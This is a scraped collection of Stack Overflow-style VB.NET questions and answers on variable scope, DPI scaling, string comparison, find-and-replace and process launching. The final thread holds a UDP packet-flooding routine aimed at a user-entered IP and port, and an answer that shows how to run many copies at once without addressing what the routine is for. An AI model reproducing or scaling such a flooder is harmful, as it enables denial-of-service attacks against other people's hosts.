Declaration of variables fails in vb.net VS 2015 - vb.net

VB in VS 2015. This code fails. Neither the boolean nor the integer have a value when the code halts. The error message is "BC30451: is not declared. It may be inaccessible because...". Perhaps this is Microsoft's way of telling me I'm an idiot for not coding in C#? Anyone know why this is failing?
Shared Sub test()
Dim N As Boolean = False
Dim i As Integer = 5
Stop ' Neither N nor I are accessible
End Sub
[Edit - add code from comment]
Private Sub cmdSaveAll_Click(sender As Object, e As EventArgs) Handles cmdSave1.Click
Dim N As Boolean = False
Dim i As Integer = 5
Dim ss As String = "xxxx"
Stop ' Neither N nor I nor ss are accessible
End Sub

If you never use a variable, Visual Studio is smart enough not to add it to the stack. The same goes for Subroutines that are never called in a program - they are not added to the executable.
Try this:
Shared Sub test()
Dim N As Boolean = False
Dim i As Integer = 5
If N Then
Console.WriteLine("This line will never be hit.")
Else
Console.WriteLine(i)
End If
End Sub
Alternately, you could declare your variables outside of the routine, so that they have scope elsewhere.
Private N As Boolean
Private i As Integer
Private Sub cmdSaveAll_Click(sender As Object, e As EventArgs) Handles cmdSave1.Click
N = False
i = 5
End Sub
Shared Sub test()
If N Then
Console.WriteLine("This line will be hit if N is changed in another method.")
Else
Console.WriteLine(i)
End If
End Sub

I don't have a solution, but the problem must be in the application under development or a bug in 2015. I created a new project and this code works just fine.
New Info: I was in release mode. Switching to debug fixed the problem. I have been, however, developing in release mode for quite some time, so I don't know if this is a bug or meant to be and I never encountered the problem before. Hmmm, most strange.

Related

Windows forms scalling

I'm trying to avoid wrong form showing when "Scale and layout" in windows screen settings is different than 100%.
I've folloved this LINK, and it works but only in 2 cases
1 - in debugging mode in VS
2 - if i put my *.exe file together with *.manifest and *.config files in same location.
If *.exe is alone then it does not work.
I'm looking for a clue what to do next.
Update
This is how application is run.
Private Sub Monitor_Click(sender As Object, e As EventArgs)
Dim trd As New Thread(AddressOf ShowMonitor)
trd.SetApartmentState(Threading.ApartmentState.STA)
trd.Start()
End Sub
Private Sub ShowMonitor()
Dim frMonitor As System.Reflection.Assembly = System.Reflection.Assembly.Load(File.ReadAllBytes("path to folder with DLL files\Monitor.dll"))
Dim oType As System.Type
Dim pControl As System.Object
oType = frMonitor.GetType("Monitor.frmMonitor")
pControl = Activator.CreateInstance(oType)
Application.Run(pControl)
End Sub
So my "monitor" application works as expected only in 2 cases written above.

Alternative Process

I have 2 buttons and a DataGridView with 2 Columns (0 & 1).
The 1st button transfers a randomized cell from the Column(1) to a TextBox. Then, it stores that Cell in variable (a), plus the cell that opposites it in variable (b).
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
Dim rnd As New Random
Dim x As Integer = rnd.Next(0, Form1.DataGridView1.Rows.Count)
Dim y As Integer = 1
Dim a As String = Form1.DataGridView1.Rows(x).Cells(y).Value
Dim b As String = Form1.DataGridView1.Rows(x).Cells(y - 1).Value
TextBox3.Text = a
End Sub
The 2nd button, however, is supposed to compare if another TextBox's text has the same string variable (b) has as Strings. Now, if so, then it has to display a certain message and so on...
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
If TextBox4.Text = b Then '<<< ISSUE HERE!
MsgBox("Correct! ^_^")
ElseIf TextBox4.Text = "" Then
MsgBox("You have to enter something first! O_o")
Else
MsgBox("Wrong! >,<")
End If
End Sub
The problem is that the variable (b) is surely not shared across the two "private" subs. And so, there is NOTHING to compare to in the 2nd button's sub! I presume that the solution here is to split the "randomization process" into a separate function, then execute it directly when the 1st button gets activated. Furthermore, that function's variables have to be SHARED somehow, and I certainly don't know how!
Thanks for Mr. Olivier, the code has been improved significantly! Yet, I still encounter a "wrong" comparison issue, somehow!
Dim RND As New Random
Dim x As Integer
Private Function GetCell(ByVal rowIndex As Integer, ByVal cellIndex As Integer) As String
Return Form1.DataGridView1.Rows(rowIndex).Cells(cellIndex).Value
End Function
Private Sub btnRoll_Click(sender As Object, e As EventArgs) Handles btnRoll.Click
x = RND.Next(0, Form1.DataGridView1.Rows.Count)
tbxRoll.Text = GetCell(x, 1)
End Sub
Private Sub btnSubmit_Click(sender As Object, e As EventArgs) Handles btnSubmit.Click
If tbxSubmit.Text = GetCell(x, 0) Then
MsgBox("Correct! ^_^")
ElseIf tbxSubmit.Text = "" Then
MsgBox("You have to enter something first! O_o")
Else
MsgBox("Wrong! >,<")
End If
End Sub</code>
Well, unbelievably, I read a guide about "comparison operations" in VB.net and tried out the first yet the most primal method to compare equality - which was to use .Equals() command - and worked like a charm! Thank God, everything works just fine now. ^_^
If tbxSubmit.Text.Equals(GetCell(x, 0)) Then
Alright now... This is going to sound weird! But, following Mr. Olivier's advise to investigate "debug" the code, I rapped the string I'm trying to compare with brackets and realized that it's been outputted after a break-line space! So, I used the following function to remove the "white-space" from both of the comparison strings! And it bloody worked! This time for sure, though. ^_^
Function RemoveWhitespace(fullString As String) As String
Return New String(fullString.Where(Function(x) Not Char.IsWhiteSpace(x)).ToArray())
End Function
If RemoveWhitespace(tbxSubmit.Text) = RemoveWhitespace(GetCell(x, 0)) Then
Turn the local variables into class fields.
Dim rnd As New Random
Dim x As Integer
Dim y As Integer
Dim a As String
Dim b As String
Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
x = rnd.Next(0, Form1.DataGridView1.Rows.Count)
y = 1
a = Form1.DataGridView1.Rows(x).Cells(y).Value
b = Form1.DataGridView1.Rows(x).Cells(y - 1).Value
TextBox3.Text = a
End Sub
These fields can now be accessed from every Sub, Function and Property.
Of course Button3_Click must be called before Button2_Click because the fields are initialized in the first method. If this is not the case then you should consider another approach.
Create a function for the Cell access
Private Function GetCell(ByVal rowIndex As Integer, ByVal cellIndex As Integer) _
As String
Return Form1.DataGridView1.Rows(rowIndex).Cells(cellIndex).Value
End Function
And then compare
If TextBox4.Text = GetCell(x, y - 1) Then
...
And don't store the values in a and b anymore. If y is always 1 then use the numbers directly.
If TextBox4.Text = GetCell(x, 0) Then
...
One more thing: give speaking names to your buttons in the properties grid before creating the Click event handlers (like e.g. btnRandomize). Then you will get speaking names for those routines as well (e.g. btnRandomize_Click).
See:
- VB.NET Class Examples
- Visual Basic .NET/Classes: Fields

Find and Replace using another form

I have my frmMainwhich has RichTextBox1 and I have a button btnfind&Replacewhich whose click event pops out another minute form frmFindandReplace which has two textboxes: TextBoxSearch and TextBoxReplace with two buttons: replaceButton and findButton. I cannot seem to get my code for instances of finding a word in textbox and an instance of replacing it. Here is my code:
Public Class frmFindandReplace
Dim txtClientArea As RichTextBox
Private Sub TextBoxSearch_TextChanged(sender As Object, e As EventArgs) Handles TextBoxSearch.TextChanged
End Sub
Private Sub frmFindandReplace_Load(sender As Object, e As EventArgs) Handles MyBase.Load
End Sub
Private Sub replaceButton_Click(sender As Object, e As EventArgs) Handles replaceButton.Click
End Sub
Protected Friend Sub findButton_Click(sender As Object, e As EventArgs) Handles findButton.Click
Dim a As String
Dim b As String
a = TextBoxSearch.Text
b = InStr(StartPosition, a, txtClientArea)
If b Then txtClientArea.Focus()
txtClientArea.SelectionStart = b - 1
txtClientArea.SelectionLength = Len(a)
txtClientArea.ScrollToCaret()
End Sub
The findButton code doesnot even work. Throws an error!
Error 3: Overload resolution failed because no accessible 'InStr' can be called with these arguments:
'Public Function InStr(Start As Integer, String1 As String, String2 As String, [Compare As Microsoft.VisualBasic.CompareMethod = Microsoft.VisualBasic.CompareMethod.Binary]) As Integer': Value of type 'System.Windows.Forms.TextBox' cannot be converted to 'String'.
'Public Function InStr(String1 As String, String2 As String, [Compare As Microsoft.VisualBasic.CompareMethod = Microsoft.VisualBasic.CompareMethod.Binary]) As Integer': Value of type 'System.Windows.Forms.RichTextBox' cannot be converted to 'Microsoft.VisualBasic.CompareMethod'. C:\Users\Joseph GodwinKE\Documents\Visual Studio 2013\Projects\simpleapp\frmFindandReplace.VB 25 13 Simple app
I know I have not done much but am new and all my efforts of searching a solution over the internet have failed! Thank you I hope someone will help me pls.
A few pointers:
InStr returns an integer.
Check the documentation as it'll show you have the search values the wrong way around.
Turn Option Explicit on to help find your issues.
This should work better.
Private Sub findButton_Click(sender As Object, e As EventArgs) Handles findButton.Click
Dim searchString As String
Dim findPos As Integer
Try
searchString = TextBoxSearch.Text
findPos = InStr(txtClientArea.Text, searchString)
If findPos > 0 Then txtClientArea.Focus()
txtClientArea.SelectionStart = findPos - 1
txtClientArea.SelectionLength = searchString.Length
txtClientArea.ScrollToCaret()
Catch ex As Exception
MessageBox.Show(String.Concat("An error occurred: ", ex.Message))
End Try
End Sub
If you want your code work you need to pass the reference to the RichTextBox present in the first form to the findandReplace form.
Otherwise you will not be able to work with that instance of the RichTextBox.
Usually, this means that when you create and open an instance of the findandReplace form you pass the reference to the RichTextBox to work with in the call to the constructor. Something like this
Dim fReplace As frmFindandReplace = New frmFindandReplace(Me.txtClientArea)
fReplace.Show()
Here the New call reaches the constructor of frmfindandReplace. This call is usually hidden by VB.NET but you could add it writing explicit code for it
Public Class frmFindandReplace
Dim txtClientArea As RichTextBox
Public Sub New (ByVal txt as RichTextBox)
txtClientArea = txt
End Sub
Now the global variable txtClientArea inside the findandReplace class is assigned to the existing reference of the RichTextBox present in the first form and you could happily work with it
Protected Friend Sub findButton_Click(sender As Object, e As EventArgs) Handles findButton.Click
Dim a As String
a = TextBoxSearch.Text
Dim position = txtClientArea.Find(a, 0, RichTextBoxFinds.MatchCase)
.....
End Sub
And please make yourself a favor and start using the more complete methods available from the NET Framework library and stop using the old fashioned VBA methods.
For example the RichTextBox has a method that does exactly what you are trying to do in code. Find, search the content of the textbox and if it founds a match it highlight the text and return the starting position of the text.
There is no replace builtin method but having the position and the length is really simple to implement your own replacing code.
You Have defined b as a string. Change it to an integer. Also Instr doesn't allow you to set a start position, just a string to search and the string to search for and optionally the type of search - Binary or Text.
Finally rather than type If b then, use If b>0 then rather than turning off Option Strict. It's always better to write code with Option Strict on as it makes you write better code and in the long run is easier to chase down errors

Opening up process and grabbing window title. Where did I go wrong?

In my application I allow for the users to add a program from a open file dialog, and it then adds the item to a listview and saves the items location into the tag. So what I am trying to do is when the program in the listview is selected and the button is pressed, it starts a timer and this timer checks to see if the process is running, and if it isn't launches the process, and once the process is launched it gets the window title of the process and sends it to a textbox on another form.
EDIT:
The question is if anyone can see why it is not working, by this I mean starting the process, then when it's started closing the form and adding the process window title to a textbox on another form.
I have tried to get it working but I can't. I know that the process name it is getting is right I think my problem is to do with my for loop. Basically it isn't doing anything visible right now.
I feel like I am very close with my code and im hoping it just needs a couple minor tweaks. Any help would be appreciated. Sorry if my coding practices aren't that great, im pretty new to this.
**EDIT:I found solution. I added code to the button that enables my timer to execute the process. Also another problem was indeed the way it read the file, I had to use the replace function to remove the ".exe" from the filepath code.
EDIT 2 : A better solution has been posted by Mark Hall. I am now using his code as it has less chance for error.
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim s As String = ListView1.SelectedItems(0).Tag
Dim myFile As String = Path.GetFileName(s)
Dim mu As String = myFile.Replace(".exe", "").Trim()
Dim f As Process
Dim p As Process() = Process.GetProcessesByName(mu)
For Each f In p
If p.Length > 0 Then
For i As Integer = 0 To p.Length - 1
ProcessID = (p(i).Id)
AutoMain.Name.Text = f.MainWindowTitle
Timer1.Enabled = False
Me.Close()
Next
Else
ProcessID = 0
End If
If ProcessID = 0 Then
Process.Start(mu)
End If
Next
End Sub
What is happening is that you are looking for a Process that matches your parameters before you enter your For Each loop the Process array is empty so it never enters it, therefore you never start your process.
This is a very quick example that works:
Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
Dim s As String = ListView1.SelectedItems(0).Tag.ToString
Dim myFile As String = Path.GetFileName(s)
Dim p As Process() = Process.GetProcessesByName(Path.ChangeExtension(myFile, Nothing))
Static started As Boolean
If p.Count > 0 Or started Then
If p.Length > 0 Then
For i As Integer = 0 To p.Length - 1
ProcessId = (p(0).Id)
AutoMain.Name.Text = p(0).MainWindowTitle
Timer1.Enabled = False
started = False
Timer1.Stop()
Me.Close()
Next
Else
ProcessId = 0
End If
Else
started = True
Process.Start(myFile)
End If
End Sub

VB.NET - Running one sub multiple times at once

I have one Private sub that runs in a loop. I want the sub to run multiple times at once. For example the program runs, you press start; you run the program again and press start, again and again... the same program doing the job at once. now i just want one program do to it alone. But i would like it to be user defined. exp. run program. type in a text box 10. press start. and it works as if 10 of them work open working on the same thing.
I have seen another program made with vb.net 2010 and its what i use and do not know how to do it. so i am just wondering.
Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
Do While Flooding = True
For i = 0 To SocketN
If Flooding = True Then
Dim _Sock(i) As Socket
_Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_Sock(i).SendTo(PacketS, IPPort)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If
Next
Loop
End Sub
Mostly want to have this work over and over at once by the users choice... kinda hoped not to use this code else might not get helped.
You can use background worker for that.
Once you know how many workers you want to do the job
just create those many instances of background worker.
Tell me if this is the answer you are looking for or not
Sample Source Code
Imports System.ComponentModel
Module Module1
Sub Main()
Console.WriteLine("Please enter the worker count:")
Dim workerCount As Integer = Console.ReadLine()
For i As Int16 = 0 To workerCount
Dim worker As BackgroundWorker = New BackgroundWorker
worker.RunWorkerAsync(i + 1)
AddHandler worker.DoWork, AddressOf Worker_DoWork
Next
End Sub
Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
Console.WriteLine(e.Argument.ToString())
End Sub
End Module